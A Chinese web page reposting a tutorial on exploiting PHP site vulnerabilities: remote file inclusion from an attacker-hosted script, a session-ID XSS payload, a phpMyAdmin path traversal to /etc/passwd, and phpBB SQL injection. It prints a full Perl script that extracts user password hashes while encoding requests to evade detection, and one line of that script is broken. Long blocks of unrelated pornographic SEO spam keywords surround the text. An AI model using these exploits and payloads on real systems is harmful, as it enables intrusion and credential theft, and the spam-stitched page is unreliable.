韩剧1988免费观看全集_久久影视三级福利片_亚洲视频在线观看免费_在线观看欧美日韩_国产亚洲激情在线_亚洲精品美女久久久_欧美国产日韩一区二区在线观看_91在线观看免费高清完整版在线观看_日韩av免费看_国产又爽又黄的激情精品视频_琪琪亚洲精品午夜在线_欧美性猛xxx_不卡毛片在线看_国产亚洲日本欧美韩国_91国内在线视频_精品国产福利视频

當(dāng)前位置:蘿卜系統(tǒng) > 網(wǎng)絡(luò)技術(shù)教程 > 詳細(xì)頁面

PHP網(wǎng)站漏洞的相關(guān)總結(jié)(1)

PHP網(wǎng)站漏洞的相關(guān)總結(jié)(1)

更新時間:2022-04-26 文章作者:未知 信息來源:網(wǎng)絡(luò) 閱讀次數(shù):

網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機(jī)、存儲資源、數(shù)據(jù)資源、信息資源、知識資源、專家資源、大型數(shù)據(jù)庫、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。
       PHP網(wǎng)站漏洞的相關(guān)總結(jié)
從現(xiàn)在的網(wǎng)絡(luò)安全來看,大家最關(guān)注和接觸最多的WEB頁面漏洞應(yīng)該是ASP了,在這方面,小竹是專家,我沒發(fā)言權(quán).然而在PHP方面來看,也同樣存在很嚴(yán)重的安全問題,但是這方面的文章卻不多.在這里,就跟大家來稍微的討論一下PHP頁面的相關(guān)漏洞吧.


  我對目前常見的PHP漏洞做了一下總結(jié),大致分為以下幾種:包含文件漏洞,腳本命令執(zhí)行漏洞,文件泄露漏洞,SQL注入漏洞等幾種.當(dāng)然,至于COOKIE欺騙等一部分通用的技術(shù)就不在這里討論了,這些資料網(wǎng)上也很多.那么,我們就一個一個來分析一下怎樣利用這些漏洞吧!


  首先,我們來討論包含文件漏洞.這個漏洞應(yīng)該說是PHP獨(dú)有的吧.這是由于不充分處理外部提供的惡意數(shù)據(jù),從而導(dǎo)致遠(yuǎn)程攻擊者可以利用這些漏洞以WEB進(jìn)程權(quán)限在系統(tǒng)上執(zhí)行任意命令.我們來看一個例子:假設(shè)在a.php中有這樣一句代碼:
<?php
include($include."/xxx.php");
?>
在這段代碼中,$include一般是一個已經(jīng)設(shè)置好的路徑,但是我們可以通過自己構(gòu)造一個路徑來達(dá)到攻擊的目的.比方說我們提交:a.php?include=http://web/b.php,這個web是我們用做攻擊的空間,當(dāng)然,b.php也就是我們用來攻擊的代碼了.我們可以在b.php中寫入類似于:passthru("/bin/ls /etc");的代碼.這樣,就可以執(zhí)行一些有目的的攻擊了.(注:web服務(wù)器應(yīng)該不能執(zhí)行php代碼,不然就出問題了.相關(guān)詳情可以去看<<如何對PHP程序中的常見漏洞進(jìn)行攻擊>>).在這個漏洞方面,出狀況的很多,比方說:PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.


  接著,我們再來看一下腳本命令執(zhí)行漏洞.這是由于對用戶提交的URI參數(shù)缺少充分過濾,提交包含惡意HTML代碼的數(shù)據(jù),可導(dǎo)致觸發(fā)跨站腳本攻擊,可能獲得目標(biāo)用戶的敏感信息。我們也舉個例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充分的過濾,我們可以通過這樣的代碼來達(dá)到攻擊的目的:
http://web/index.php?PHPSESSID="><script>...</script>在script里面我們可以構(gòu)造函數(shù)來獲得用戶的一些敏感信息.在這個漏洞方面相對要少一點(diǎn),除了PHP Transparent之外還有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.


  再然后,我們就來看看文件泄露漏洞了.這種漏洞是由于對用戶提交參數(shù)缺少充分過濾,遠(yuǎn)程攻擊者可以利用它進(jìn)行目錄遍歷攻擊以及獲取一些敏感信息。我們拿最近發(fā)現(xiàn)的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對用戶提交的'what'參數(shù)進(jìn)行充分過濾,遠(yuǎn)程攻擊者提交包含多個'../'字符的數(shù)據(jù),便可繞過WEB ROOT限制,以WEB權(quán)限查看系統(tǒng)上的任意文件信息。比方說打入這樣一個地址:export.php?what=../../../../../../etc/passwd%00 就可以達(dá)到文件泄露的目的了.在這方面相對多一點(diǎn),有:myPHPNuke,McNews等等.


  最后,我們又要回到最興奮的地方了.想想我們平時在asp頁面中用SQL注入有多么爽,以前還要手動注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再開做出NBSI以后,我們NB聯(lián)盟真是拉出一片天空.曾先后幫CSDN,大富翁論壇,中國頻道等大型網(wǎng)站找出漏洞.(這些廢話不多說了,有點(diǎn)跑題了...).還是言規(guī)正傳,其實(shí)在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數(shù)就好了.將asc改成ASCII,len改成LENGTH,其他函數(shù)基本不變了.其實(shí)大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢?不錯,俗話說樹大招分,像動網(wǎng)這樣的論壇在asp界就該是漏洞這王了,這并不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發(fā)現(xiàn)的安全漏洞也就越多了.PHPBB也是一樣的,現(xiàn)在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發(fā)現(xiàn)漏洞,到現(xiàn)在最近的phpBB 2.0.6版本的groupcp.php,以及之前發(fā)現(xiàn)的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧.這也一直導(dǎo)致,一部分人在研究php漏洞的時候都會拿它做實(shí)驗(yàn)品,所謂百練成精嘛,相信以后的PHPBB會越來越好.


  好了,我們還是來分析一下漏洞產(chǎn)生的原因吧.拿viewtopic.php頁面來說,由于在調(diào)用viewtopic.php時,直接從GET請求中獲得"topic_id"并傳遞給SQL查詢命令,而并沒有進(jìn)行一些過濾的處理,攻擊者可以提交特殊的SQL字符串用于獲得MD5密碼,獲得此密碼信息可以用于自動登錄或者進(jìn)行暴力破解。(我想應(yīng)該不會有人想去暴力破解吧,除非有特別重要的原因).先看一下相關(guān)源代碼:
#    if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
#    {
#       $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
#    }
#    else if ( isset($HTTP_GET_VARS['topic']) )
#    {
#       $topic_id = intval($HTTP_GET_VARS['topic']);
#    }
從上面我們可以看出,如果提交的view=newest并且sid設(shè)置了值的話,執(zhí)行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議你看了再對著這里來看,受影響系統(tǒng)為:phpBB 2.0.5和phpBB 2.0.4).
#        $sql = "SELECT p.post_id
#        FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
#        WHERE s.session_id = '$session_id'
#         AND u.user_id = s.session_user_id
#         AND p.topic_id = $topic_id
#         AND p.post_time >= u.user_lastvisit
#        ORDER BY p.post_time ASC
#        LIMIT 1";
Rick提供了下面的這斷測試代碼:
use IO::Socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4';   # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";
$p = "";
for($index=1; $index<=32; $index++)
{
    $socket = IO::Socket::INET->new(PeerAddr => $remote,
                PeerPort => $port,
                Proto => "tcp",
                Type => SOCK_STREAM)
    or die "Couldnt connect to $remote:$port : $@\n";
    $str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0\n\n";
    print $socket $str;
    print $socket "Cookie: phpBB2mysql_sid=1\n";  # replace this for pgsql or remove it
    print $socket "Host: $remote\n\n";
    while ($answer = <$socket>)
    {
        if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num>
        {
            $p .= chr ();
        }
    }
    close($socket);
}
print "\nMD5 Hash for uid $uid is $p\n";
# random encode str. helps avoid detection
sub random_encode
{
    $str = shift;
    $ret = "";
    for($i=0; $i<length($str); $i++)
    {
        $c = substr($str,$i,1);
        $j = rand length($str) * 1000;


        if (int($j) % 2 || $c eq ' ')
        {
            $ret .= "%" . sprintf("%x",ord($c));
        }
        else
        {
            $ret .= $c;
        }
    }
    return $ret;
}
sub make_dbsql
{
    if ($dbtype eq 'mysql4')
    {
        return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
    } elsif ($dbtype eq 'pgsql')
    {
        return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
    }
    else
    {
        return "";
    }
}
這斷代碼,我就不多做解釋了.作用是獲得HASH值.


網(wǎng)絡(luò)的神奇作用吸引著越來越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來越嚴(yán)峻的考驗(yàn)―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項(xiàng)技術(shù)都需要適時應(yīng)勢,對應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統(tǒng)下載排行

網(wǎng)站地圖xml | 網(wǎng)站地圖html
热国产热中文视频二区| 国产风韵犹存在线视精品| 国产精品视频500部| 亚洲 国产 日韩 综合一区| 亚洲综合av一区| 色综合天天综合色综合av| 欧美三级韩国三级日本三斤在线观看| 日韩高清a**址| 羞羞视频网站| 免费人成在线不卡| 99re66热这里只有精品8| 国产亚洲精品网站| 免费看av成人| 永久免费毛片在线观看| 一本色道久久综合亚洲精品不卡| 国产精品无码无卡无需播放器| 欧美爱爱视频免费看| 欧美猛男男男激情videos| 亚洲大尺度视频在线观看| 你懂的视频在线播放| 最新版sss视频在线| 国产美女激情视频| 国产a国产a国产a| 国产 国语对白 露脸| 一区二区激情| 黄色片视频在线观看| 爱爱的免费视频| 精品国产va久久久久久久| 亚洲天堂网视频| 国产一区二区91| 欧美交a欧美精品喷水| 日本欧美一级片| 欧美另类暴力丝袜| 精品国产精品自拍| 日本成人在线一区| 在线免费一区二区| 久久久久久久久黄色| 精品久久久噜噜噜噜久久图片| 激情伦成人综合小说| 黄色小视频在线播放| 本网站久久精品| 天天插天天射天天干| 91香蕉视频免费在线观看| 日本道免费精品一区二区三区| 亚洲三级免费电影| 毛片在线看片| 亚洲美女www午夜| 亚洲av无码国产精品永久一区| 熟女少妇精品一区二区| 高清在线一区| 国产精品亚洲片夜色在线| 橘梨纱av一区二区三区在线观看| 国产精品免费一区二区三区| 另类国产ts人妖高潮视频| 草久视频在线观看| 韩国女主播一区二区三区| 国产综合无码一区二区色蜜蜜| 久久精品国产视频| 日本精品一区| 18黄暴禁片在线观看| 蜜桃传媒一区二区亚洲| 老司机午夜精品视频| 欧美不卡一二三| 四虎www4hu永久免费| 老司机在线看片网av| 日韩三级在线播放| www.欧美.com| 欧美丰满艳妇bbwbbw| 97se亚洲国产一区二区三区| japanese国产在线观看| 91福利精品在线观看| 91xxx视频| 99国产精品久久一区二区三区| 天天操天天舔天天射| 久久国产精品久久久久久| 成人在线影视| 欧美日韩色一区| 国产欧美一区二区精品性| 亚洲性线免费观看视频成熟| 欧美a视频在线| 亚洲精品va在线观看| 国产亚洲欧美一区二区| 亚洲日韩中文字幕一区| 免费在线看黄网址| 欧美永久精品| 国产劲爆久久| 少妇高潮喷水在线观看| 少女频道在线观看高清| 亚洲精品视频免费| 国产h色视频在线观看| 久久久91精品国产一区二区精品| 2020日本在线视频中文字幕| 国产精彩自拍| 韩国av在线播放| 一本色道久久综合亚洲精品不| 精品国产高清a毛片无毒不卡| 137大胆人体在线观看| 久久久精品国产**网站| 日本熟妇一区二区三区| 久久精品国产一区二区电影| 久久精品国产亚洲a∨麻豆| 激情久久中文字幕| 污黄网站在线观看| 亚洲欧洲一区二区| 91国偷自产一区二区使用方法| 日韩欧美亚洲成人| 人人人妻人人澡人人爽欧美一区| 美女免费黄色| 国产精品av免费观看| 在线免费看av| 主播福利视频一区| 美女露胸视频在线观看| 橘梨纱av一区二区三区在线观看| 国产精品mm| 一本加勒比北条麻妃| 琪琪久久久久日韩精品| 国产66精品久久久久999小说| 国产精品久久久久久搜索| 久久久久久亚洲综合影院红桃| 成人中文字幕在线观看| 中文字幕不卡| 久久久久亚洲av成人网人人软件| 日韩精品视频一区二区| 精品视频偷偷看在线观看| 欧美寡妇偷汉性猛交| 自拍偷自拍亚洲精品被多人伦好爽| 激情综合丝袜美女一区二区| 亚洲精品中文字幕乱码三区91| 久久免费公开视频| 国产成人无码精品久久二区三| 91精品久久久久久久久| 欧美高清激情视频| 国产精品久久免费视频| 蜜臀久久99精品久久久| 国产精品美女999| 99视频免费观看| 爆操欧美孕妇| 日产精品一线二线三线芒果| 成视频免费在线看| 国产麻豆免费| 成人中文字幕+乱码+中文字幕| 欧美剧情电影在线观看完整版免费励志电影| 久久视频在线直播| 影音先锋人妻啪啪av资源网站| 亚洲欧美视频在线观看视频| 国产午夜精品一区二区三区嫩草| 日韩中文字幕在线| 国模冰冰炮一区二区| 国内精品卡一卡二卡三新区| 天天插天天射| 自拍偷拍电影| 青青青草原在线| 在线不卡日本v二区707| 亚洲一区二区三区免费观看| 中文av字幕| 亚洲va欧美va国产综合剧情| 是的av在线| 国产suv精品一区二区69| 国产性天天综合网| 色老头一区二区三区在线观看| 亚洲电影一区| 欧美激情第8页| 欧美三级午夜理伦三级在线观看| 久久综合成人| 国产精品视频最多的网站| 成人福利片在线| 91.com在线| 貂蝉被到爽流白浆在线观看| 国产一区二区视频免费在线观看| 你懂的视频在线播放| 美日韩精品免费观看视频| 国产一二三在线观看| 青草久久视频| 亚洲国产成人91精品| 91av视频在线免费观看| 久久久久久高潮国产精品视| 国产在线成人| 99久久精品免费观看国产| 久久经典视频| 成人av在线播放网站| 91精品国产91久久久久久青草| japanese色国产在线看视频| 欧美精品福利| 最新日韩欧美| www男人的天堂| 国产精品久久久久aaaa九色| 男女啪啪网站| 亚洲日本欧美日韩高观看| 欧美午夜电影在线播放| 亚洲天堂影视av| 伦理片一区二区| 成人免费淫片免费观看| 日本一级淫片免费放| 亚洲国产成人在人网站天堂| 欧美性生交xxxxxdddd| 91免费视频大全| 蜜桃成人在线| 亚洲乱码国产乱码精品精软件| 快灬快灬一下爽蜜桃在线观看| 亚洲无线观看| 日本欧美一区二区三区| 中文字幕免费高清网站| jizzjizzjizzjizz日本老师| 国产精品一区二区av影院萌芽| 一区二区视频免费看| 18精品爽国产三级网站| 精品国产欧美日韩一区二区三区| 免费黄色国产视频| 欧美大香线蕉线伊人久久国产精品| 欧美性猛交xxx乱久交| 国产精品五月天| 欧美午夜精品久久久久久蜜| 欧美 丝袜 自拍 制服 另类| 亚洲第一在线播放| 无码人妻丰满熟妇区毛片蜜桃精品| 精品91久久久| 一级黄色电影片| 午夜一区二区三区| 亚洲福利影视| 又黄又爽又色的视频| 中文字幕欧美日韩一区二区三区| 国产激情综合五月久久| 亚洲韩国欧洲国产日产av| 我不卡一区二区| 色一情一区二区三区| 国产精品成人国产乱一区| 蜜桃免费一区二区三区| 日韩成人精品一区二区| 国产欧美中文字幕| 唐朝av高清盛宴| 色88久久久久高潮综合影院| 久久伊人色综合| 69久久夜色精品国产69乱青草| 久久亚洲国产成人精品无码区| 夜鲁夜鲁夜鲁视频在线播放| 国产乱妇无码大片在线观看| 成人免费毛片播放| 特黄特色大片免费视频大全| 亚洲一级生活片| 国产91精品精华液一区二区三区| 97se亚洲| 日本午夜精品电影| 国产成人午夜视频| 一区二区三区在线播放| 久久一二三区| 久久综合图区亚洲综合图区| 特大黑人巨人吊xxxx| 日本一区免费看| 国产一区二区中文字幕| 婷婷激情四射网| 可以在线看的av网站| 国产一区二区av| 午夜精品一区二区三区在线| 香蕉视频网页版| 久久都是精品| 亚洲日本va在线观看| 亚洲免费成人网| av中文字幕网址| 久久人人爽人人爽人人片| 国产精品无码免费专区午夜| 久久久精品动漫| 四色最新网址| 香蕉视频网站在线播放| 国产精品偷伦视频免费观看国产| 欧美亚洲国产一区二区三区va| 五月婷婷六月激情| 亚洲图片久久| 久久久久久久9| 久久综合中文字幕| 日本视频在线免费观看| 18禁网站免费无遮挡无码中文| 日韩视频一区二区三区在线播放| 99亚洲国产精品| 欧美亚洲大陆| 蜜臀精品一区二区三区| 色综合久久网| 日韩电影免费观看| 狠狠一区二区三区| 欧美黑人精品一区二区不卡| 久草网在线观看| 做爰视频毛片视频| 中文字幕精品无| 一本一本大道香蕉久在线精品| 日本亚洲欧洲色| 精品99在线| www.蜜桃av| 少女频道在线观看高清| 国产成人羞羞电影网站在线观看| 久久久久无码精品国产sm果冻| 色婷婷亚洲mv天堂mv在影片| 国产主播第一页| 亚洲第一色在线| 国产成人精品久久二区二区| 国产又粗又猛大又黄又爽| 在线看日韩欧美| 国产一区二区三区福利| 少妇高潮一区二区三区99小说| 最近中文字幕大全中文字幕免费| a级黄色小视频| 成人在线视频免费播放| 在线免费亚洲电影| 国产片侵犯亲女视频播放| 91精品国产高清一区二区三密臀| 欧美精品一区二区三区在线四季| 自由的xxxx在线视频| 天堂成人国产精品一区| 岛国一区二区三区高清视频| 五月婷婷婷婷婷| 神马久久资源| 国模gogo一区二区大胆私拍| 久久久福利影院| 911福利视频| 国产精品300页| 国产美女精品视频国产| 岛国片在线看| 午夜男人天堂| 一级片在线观看| 国内精品国产三级国产99| 黄色大片免费观看| 国产日韩亚洲精品| 欧美成人精品一区二区综合免费| 98在线视频| 国产福利电影在线| 天天做天天躁天天躁| 久久精品女同亚洲女同13| 你懂的视频在线看| 久久久久女教师免费一区| 日本r级电影在线观看|